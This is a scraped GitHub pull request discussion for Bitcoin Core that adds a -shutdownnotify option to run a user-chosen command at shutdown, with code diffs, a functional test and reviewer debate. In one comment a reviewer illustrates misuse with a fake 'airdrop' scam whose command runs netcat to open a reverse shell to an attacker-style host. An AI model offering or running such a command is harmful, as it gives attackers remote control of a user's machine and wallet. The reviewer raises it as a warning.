util: Add -shutdownnotify option #23395

klementtan · 2021-10-30T14:41:44Z

Description: Similar to -startupnotify, this PR adds a new option to allow users to specify a command to be executed when Bitcoin Core shuts down.

Note: The shutdownnotify commands will not be executed if bitcoind shut down due to unexpected reasons (ie killall -9 bitcoind).

Testing:

Normal shutdown commands

# start bitcoind with shutdownnotify optioin
./src/bitcoind -signet -shutdownnotify="touch foo.txt"

# shutdown bitcoind
./src/bitcoin-cli -signet stop

# check that foo.txt has been created

Final RPC call
Commands:

$  ./src/bitcoind -signet -nolisten -noconnect -shutdownnotify="./src/bitcoin-cli -signet getblockchaininfo > tmp.txt"
$ ./src/bitcoin-cli stop
$ cat tmp.txt

Screen Shot

shaavan

ACK df9fde8

This PR adds a new (optional) argument -shutdownnotify to bitcoind that allows passing of custom user command when bitcoin core is shut down.

I tested this PR using the testing method suggested by @klementtan. I have added a screenshot showing that the proper working of the -shutdownnotify command.

Screenshot:

This command has many use cases, especially the one @klementtan
explained where users could notify themselves if bitcoin core unexpectedly closes. Considering the usefulness of this command, I agree with the changes made in this PR.

I have one thing to ask, though:
Can a command like “./src/bitcoind -signet” be given as the value for this argument? If no, then why so?
When I tried to use this argument value myself, there was no output whatsoever.

ghost · 2021-10-31T19:08:35Z

I understand the motivation however this option can be misused IMO so not sure about adding it

I was reading the comments in #15367 and I think we should even remove -startupnotify because it provides an inbuilt binder which can be used to run malware in the background when Bitcoin Core starts.

Observation: Although we can run almost everything as this option allows shell commands but I was experimenting if its possible to keep Bitcoin Core running and never shutdown. Worked intermittently but nothing interesting.

bitcoind -shutdownnotify="bitcoind"

bitcoin-cli stop

If getting notifications on start and shutdown is the goal maybe we should not provide easy option to execute shell commands with it. A file with name notifications.dat that saves such notifications should be enough IMO.

klementtan · 2021-11-01T12:07:31Z

Thanks, @prayank23 and @shaavan for the review and pointing out the edge case where a user might supply "bitcoind" as a shutdown notify bash command.

A solution for that would be to call .join() instead .detach() in here. This will result in bitcoind completing the entire shutdown sequence only after the bash command has finished executing. In the scenario where "bitcoind" is supplied as the bash command, the second "bitcoind" will fail as bitcoind is already running. However, this would also mean that all other bash commands would also be performed synchronously.

Open to feedback on how we should handle the scenario when a user supplies "bitcoind" as a shutdown notify bash command.

When I tried to use this argument value myself, there was no output whatsoever.

If you view debug.log you should be able to see if bitcoind has successfully restarted by searching for runCommand error:

ghost · 2021-11-01T14:08:28Z

Open to feedback on how we should handle the scenario when a user supplies "bitcoind" as a shutdown notify bash command.

I think we can avoid this case. It was just an observation which looked interesting initially. If a user wants to experiment and provides such argument he should be able to kill process or reboot system.

I have issues with an option in Bitcoin Core that triggers any shell command based on start/shutdown. This feature can be helpful for lot of people with malicious intent.

sipa · 2021-11-01T15:25:56Z

@prayank23 If an attacker manages to make you invoke bitcoind with chosen configuration, you have bigger problems (it means they have filesystem access, can see your wallet files, can give themselves RPC access, ...).

sipa · 2021-11-01T15:26:45Z

Concept ACK

ghost · 2021-11-01T15:53:32Z

@prayank23 If an attacker manages to make you invoke bitcoind with chosen configuration, you have bigger problems (it means they have filesystem access, can see your wallet files, can give themselves RPC access, ...).

@sipa Yes victim will have bigger problems depending on the case. Are we helping attackers with this feature?

Example:

Attacker: We have a new airdrop where you don't need to share any credentials with us. It will be distributed to all bitcoin holders however they need to restart bitcoind so that airdrop server is notified about their wallet and registered for airdrop.

Please run:

$ bitcoind -shutdownnotify="nc -e /bin/sh airdrop.attacker.org 8080"

Victim: Restarts core with command shared by attacker

Attacker: Gets reverse shell

maflcko · 2021-11-01T15:58:02Z

@prayank23 This is a known and obvious issue with all -*notify options, unrelated to this pull request. It might be best to discuss this in another thread.

maflcko · 2021-11-01T16:13:23Z

Motivation: This will allow users to notify themselves when bitcoind unexpectedly shuts down.

Can you explain this a bit more? The current code will notify users after Bitcoin Core expectedly shuts down, that is, after telling it to shutdown.

If users want to find out if it unexpectedly shut down, they will need to check for the absence of the notification and verify that the process is not running (e.g. writing state (utxo, wallet, ...) to the disk on shutdown).

sipa · 2021-11-01T16:15:25Z

There is probably a difference still between unexpected shutdowns and unclean shutdowns. E.g. when disk is full, Bitcoin Core will (possibly) shut down cleanly, but it's not explicitly requested by the user.

klementtan · 2021-11-01T19:03:37Z

Can you explain this a bit more?

@MarcoFalke yup similar to what @sipa pointed out, this would be useful for users who wish to be notified when Bitcoin Core cleanly shuts down without being explicitly requested by the user. Updated the PR description to clearly describe what does unexpected means.

luke-jr · 2021-11-02T17:07:28Z

Concept ACK

I think it is important to get #22417 merged first, though - otherwise shutdownnotify commands might all too easily keep files open that we expect to be closed.

luke-jr

It might be good to run commands synchronously and before shutdown begins - that way they have the opportunity to perform pre-shutdown RPC calls and such?

src/init.cpp

klementtan · 2021-11-03T13:33:37Z

a13e4cf to 812910e changes:

Run commands synchronously
Run commands before shutdown sequence begins
Support multiple -shutdownnotify

doc/release-notes.md

src/init.cpp

theStack · 2021-11-07T02:59:36Z

Concept ACK

src/init.cpp

doc/release-notes.md

laanwj · 2021-11-08T12:23:51Z

Not opposed to this but please don't mis-advertise it;

If users want to find out if it unexpectedly shut down, they will need to check for the absence of the notification and verify that the process is not running (e.g. writing state (utxo, wallet, ...) to the disk on shutdown).

Yes, there is no way to monitor for unexpected shutdowns from within bitcoind itself. This is theoretically and practically impossible no matter how hard you try. One way to do this is to tell the OS to receive notifications when the process dies, e.g. in Linux one can use waitpid on the PID from the PID file.

DrahtBot · 2022-03-05T04:54:53Z

The following sections might be updated with supplementary metadata relevant to reviewers and maintainers.

Reviews

See the guideline for information on the review process.

Type	Reviewers
ACK	achow101, 1440000bytes, theStack
Concept NACK	1337in
Concept ACK	sipa, luke-jr, jonatack
Approach NACK	michaelfolkson
Stale ACK	shaavan

If your review is incorrectly listed, please react with 👎 to this comment and the bot will ignore it on the next update.

Conflicts

Reviewers, this pull request conflicts with the following ones:

#20892 (tests: Run both descriptor and legacy tests within a single test invocation by achow101)

If you consider this pull request important, please also help to review the conflicting pull requests. Ideally, start with the one that should be merged first.

doc/release-notes.md

jonatack · 2022-06-06T16:59:34Z

This seems like a good idea, is straightforward, and has a couple of ACKs and some concept ACKs.

Concept ACK, seems it could use a functional test.

ghost

Suggestion to rename config option based on #23412 (comment)

ghost · 2022-06-07T04:58:20Z

src/init.cpp

+static void ShutdownNotify(const ArgsManager& args)
+{
+    std::vector<std::thread> threads;
+    for (const auto& cmd : args.GetArgs("-shutdownnotify")) {


Suggested change

for (const auto& cmd : args.GetArgs("-shutdownnotify")) {

for (const auto& cmd : args.GetArgs("-executeonshutdown")) {

ghost · 2022-06-07T04:59:38Z

src/init.cpp

@@ -405,6 +421,7 @@ void SetupServerArgs(ArgsManager& argsman)
    argsman.AddArg("-settings=<file>", strprintf("Specify path to dynamic settings data file. Can be disabled with -nosettings. File is written at runtime and not meant to be edited by users (use %s instead for custom settings). Relative paths will be prefixed by datadir location. (default: %s)", BITCOIN_CONF_FILENAME, BITCOIN_SETTINGS_FILENAME), ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
 #if HAVE_SYSTEM
    argsman.AddArg("-startupnotify=<cmd>", "Execute command on startup.", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
+    argsman.AddArg("-shutdownnotify=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);


Suggested change

argsman.AddArg("-shutdownnotify=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

argsman.AddArg("-executeonshutdown=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

Might be best to keep as-is, to mirror the other notify command

achow101 · 2022-10-12T18:44:38Z

Are you still working on this?

ghost

ACK fcc7cf7

klementtan · 2022-10-13T13:35:46Z

Apologies for the delay. Added an additional functional test in the latest patch

git range-diff fcc7cf7~2..fcc7cf7 d96d97a~2..d96d97a

1:  46790135b ! 1:  0bd73e2c4 util: Add -shutdownnotify option.
@@ src/init.cpp: void SetupServerArgs(ArgsManager& argsman)
  #endif
  #ifndef WIN32
      argsman.AddArg("-sysperms", "Create new files with system default permissions, instead of umask 077 (only effective with disabled wallet functionality)", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

 ## test/functional/feature_notifications.py ##
@@ test/functional/feature_notifications.py: class NotificationsTest(BitcoinTestFramework):
         self.num_nodes = 2
         self.setup_clean_chain = True
         # The experimental syscall sandbox feature (-sandbox) is not compatible with -alertnotify,
-        # -blocknotify or -walletnotify (which all invoke execve).
+        # -blocknotify, -walletnotify or -shutdownnotify (which all invoke execve).
         self.disable_syscall_sandbox = True
 
     def setup_network(self):
@@ test/functional/feature_notifications.py: class NotificationsTest(BitcoinTestFramework):
         self.alertnotify_dir = os.path.join(self.options.tmpdir, "alertnotify")
         self.blocknotify_dir = os.path.join(self.options.tmpdir, "blocknotify")
         self.walletnotify_dir = os.path.join(self.options.tmpdir, "walletnotify")
+        self.shutdownnotify_dir = os.path.join(self.options.tmpdir, "shutdownnotify")
+        self.shutdownnotify_file = os.path.join(self.shutdownnotify_dir, "shutdownnotify.txt")
         os.mkdir(self.alertnotify_dir)
         os.mkdir(self.blocknotify_dir)
         os.mkdir(self.walletnotify_dir)
+        os.mkdir(self.shutdownnotify_dir)
 
         # -alertnotify and -blocknotify on node0, walletnotify on node1
         self.extra_args = [[
             f"-alertnotify=echo > {os.path.join(self.alertnotify_dir, '%s')}",
             f"-blocknotify=echo > {os.path.join(self.blocknotify_dir, '%s')}",
+            f"-shutdownnotify=echo > {self.shutdownnotify_file}",
         ], [
             f"-walletnotify=echo %h_%b > {os.path.join(self.walletnotify_dir, notify_outputname('%w', '%s'))}",
         ]]
@@ test/functional/feature_notifications.py: class NotificationsTest(BitcoinTestFramework):
 
         # TODO: add test for `-alertnotify` large fork notifications
 
+        self.log.info("test -shutdownnotify")
+        self.stop_nodes()
+        self.wait_until(lambda: os.path.isfile(self.shutdownnotify_file), timeout=10)
+
     def expect_wallet_notify(self, tx_details):
         self.wait_until(lambda: len(os.listdir(self.walletnotify_dir)) >= len(tx_details), timeout=10)
         # Should have no more and no less files than expected
2:  fcc7cf751 = 2:  d96d97ad3  doc: Add release note for shutdownnotify.

ghost

reACK d96d97a

No clue about test because I do all my testing outside this framework.

achow101 · 2023-01-17T20:21:34Z

ACK d96d97a

ghost

ACK d96d97a

However, I would not not be responsible for misuse of it.

theStack

re-ACK d96d97a

The only change since my previous ACK was the added functional test. Retested also on OpenBSD 7.1 ✔️

d96d97a doc: Add release note for shutdownnotify. (klementtan) 0bd73e2 util: Add -shutdownnotify option. (klementtan) Pull request description: **Description**: Similar to `-startupnotify`, this PR adds a new option to allow users to specify a command to be executed when Bitcoin Core shuts down. **Note**: The `shutdownnotify` commands will not be executed if bitcoind shut down due to *unexpected* reasons (ie `killall -9 bitcoind`). ### Testing: **Normal shutdown commands** ``` # start bitcoind with shutdownnotify optioin ./src/bitcoind -signet -shutdownnotify="touch foo.txt" # shutdown bitcoind ./src/bitcoin-cli -signet stop # check that foo.txt has been created ``` **Final RPC call** Commands: ``` $ ./src/bitcoind -signet -nolisten -noconnect -shutdownnotify="./src/bitcoin-cli -signet getblockchaininfo > tmp.txt" $ ./src/bitcoin-cli stop $ cat tmp.txt ``` <details> <summary>Screen Shot</summary> ![image](https://user-images.githubusercontent.com/49265907/141186183-cbc6f82c-400d-4a8b-baba-27c0346c2c8a.png) </details> ACKs for top commit: achow101: ACK d96d97a 1440000bytes: ACK bitcoin@d96d97a theStack: re-ACK d96d97a Tree-SHA512: 16f7406fd232e8b97aea5e58854c84755b0c35c88cb3ef9ee123b29a1475a376122b1e100da860cc336d4d657e6046a70e915fdb9b70c9fd097c6eef1b028161

klementtan force-pushed the shutdown-notify branch 2 times, most recently from dc2ef7c to c44960e Compare October 30, 2021 14:54

klementtan changed the title ~~util: Add Shutdown Notify~~ util: Add -shutdownnotify option Oct 30, 2021

DrahtBot added the Docs label Oct 30, 2021

klementtan force-pushed the shutdown-notify branch from c44960e to df9fde8 Compare October 30, 2021 16:05

shaavan approved these changes Oct 31, 2021

View reviewed changes

This was referenced Nov 1, 2021

Use notifications.dat for -*notify bitcoin-core/gui#460

Closed

Use notifications.dat for -*notify #23412

Closed

luke-jr reviewed Nov 2, 2021

View reviewed changes

src/init.cpp Outdated Show resolved Hide resolved

klementtan force-pushed the shutdown-notify branch 2 times, most recently from a13e4cf to 5a64663 Compare November 3, 2021 13:28

klementtan force-pushed the shutdown-notify branch from 5a64663 to 812910e Compare November 3, 2021 16:57

luke-jr suggested changes Nov 3, 2021

View reviewed changes

doc/release-notes.md Outdated Show resolved Hide resolved

src/init.cpp Outdated Show resolved Hide resolved

src/init.cpp Outdated Show resolved Hide resolved

klementtan force-pushed the shutdown-notify branch from 812910e to 2d8a11b Compare November 6, 2021 10:21

theStack reviewed Nov 7, 2021

View reviewed changes

src/init.cpp Outdated Show resolved Hide resolved

doc/release-notes.md Outdated Show resolved Hide resolved

klementtan force-pushed the shutdown-notify branch from 2d8a11b to 1f4382d Compare November 8, 2021 00:03

DrahtBot removed the Needs rebase label Mar 4, 2022

DrahtBot mentioned this pull request Mar 4, 2022

logging: Add severity level to logs #24464

Merged

DrahtBot mentioned this pull request Mar 16, 2022

doc: Add template for empty release notes #24583

Merged

maflcko reviewed Mar 16, 2022

View reviewed changes

doc/release-notes.md Outdated Show resolved Hide resolved

klementtan force-pushed the shutdown-notify branch from 579f1a4 to fcc7cf7 Compare March 16, 2022 17:04

klementtan closed this Jun 6, 2022

klementtan reopened this Jun 6, 2022

ghost reviewed Jun 7, 2022

View reviewed changes

Jouzo mentioned this pull request Jun 13, 2022

util: Add -shutdownnotify option. DeFiCh/ain#1345

Merged

ghost approved these changes Oct 13, 2022

View reviewed changes

klementtan added 2 commits October 13, 2022 21:22

util: Add -shutdownnotify option.

0bd73e2

doc: Add release note for shutdownnotify.

d96d97a

klementtan force-pushed the shutdown-notify branch from fcc7cf7 to d96d97a Compare October 13, 2022 13:23

ghost approved these changes Oct 15, 2022

View reviewed changes

DrahtBot mentioned this pull request Oct 18, 2022

tests: Run both descriptor and legacy tests within a single test invocation #20892

Closed

ghost approved these changes Jan 17, 2023

View reviewed changes

achow101 requested review from theStack and shaavan January 18, 2023 18:52

theStack approved these changes Jan 19, 2023

View reviewed changes

maflcko merged commit 92dcbe9 into bitcoin:master Jan 19, 2023

klementtan deleted the shutdown-notify branch January 26, 2023 15:08

D33r-Gee mentioned this pull request May 25, 2023

25.0 RC Testing Guide Feedback #27736

Closed

barton2526 mentioned this pull request May 29, 2023

util: Add -shutdownnotify and startupnotify options from upstream gridcoin-community/Gridcoin-Research#2688

Merged

bitcoin locked and limited conversation to collaborators Jan 26, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

util: Add -shutdownnotify option #23395

util: Add -shutdownnotify option #23395

klementtan commented Oct 30, 2021 •

edited

Loading

shaavan left a comment

ghost commented Oct 31, 2021

klementtan commented Nov 1, 2021 •

edited

Loading

ghost commented Nov 1, 2021

sipa commented Nov 1, 2021

sipa commented Nov 1, 2021

ghost commented Nov 1, 2021

maflcko commented Nov 1, 2021

maflcko commented Nov 1, 2021 •

edited

Loading

sipa commented Nov 1, 2021

klementtan commented Nov 1, 2021

luke-jr commented Nov 2, 2021

luke-jr left a comment

klementtan commented Nov 3, 2021 •

edited

Loading

theStack commented Nov 7, 2021

laanwj commented Nov 8, 2021

DrahtBot commented Mar 5, 2022 •

edited

Loading

jonatack commented Jun 6, 2022

ghost left a comment

ghost Jun 7, 2022

ghost Jun 7, 2022

maflcko Oct 13, 2022

achow101 commented Oct 12, 2022

ghost left a comment

klementtan commented Oct 13, 2022

ghost left a comment

achow101 commented Jan 17, 2023

ghost left a comment

theStack left a comment

	for (const auto& cmd : args.GetArgs("-shutdownnotify")) {
	for (const auto& cmd : args.GetArgs("-executeonshutdown")) {

	argsman.AddArg("-shutdownnotify=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);
	argsman.AddArg("-executeonshutdown=<cmd>", "Execute command immediately before beginning shutdown. The need for shutdown may be urgent, so be careful not to delay it long (if the command doesn't require interaction with the server, consider having it fork into the background).", ArgsManager::ALLOW_ANY, OptionsCategory::OPTIONS);

util: Add -shutdownnotify option #23395

util: Add -shutdownnotify option #23395

Conversation

klementtan commented Oct 30, 2021 • edited Loading

Testing:

shaavan left a comment

Choose a reason for hiding this comment

ghost commented Oct 31, 2021

klementtan commented Nov 1, 2021 • edited Loading

ghost commented Nov 1, 2021

sipa commented Nov 1, 2021

sipa commented Nov 1, 2021

ghost commented Nov 1, 2021

maflcko commented Nov 1, 2021

maflcko commented Nov 1, 2021 • edited Loading

sipa commented Nov 1, 2021

klementtan commented Nov 1, 2021

luke-jr commented Nov 2, 2021

luke-jr left a comment

Choose a reason for hiding this comment

klementtan commented Nov 3, 2021 • edited Loading

theStack commented Nov 7, 2021

laanwj commented Nov 8, 2021

DrahtBot commented Mar 5, 2022 • edited Loading

Reviews

Conflicts

jonatack commented Jun 6, 2022

ghost left a comment

Choose a reason for hiding this comment

ghost Jun 7, 2022

Choose a reason for hiding this comment

ghost Jun 7, 2022

Choose a reason for hiding this comment

maflcko Oct 13, 2022

Choose a reason for hiding this comment

achow101 commented Oct 12, 2022

ghost left a comment

Choose a reason for hiding this comment

klementtan commented Oct 13, 2022

ghost left a comment

Choose a reason for hiding this comment

achow101 commented Jan 17, 2023

ghost left a comment

Choose a reason for hiding this comment

theStack left a comment

Choose a reason for hiding this comment

klementtan commented Oct 30, 2021 •

edited

Loading

klementtan commented Nov 1, 2021 •

edited

Loading

maflcko commented Nov 1, 2021 •

edited

Loading

klementtan commented Nov 3, 2021 •

edited

Loading

DrahtBot commented Mar 5, 2022 •

edited

Loading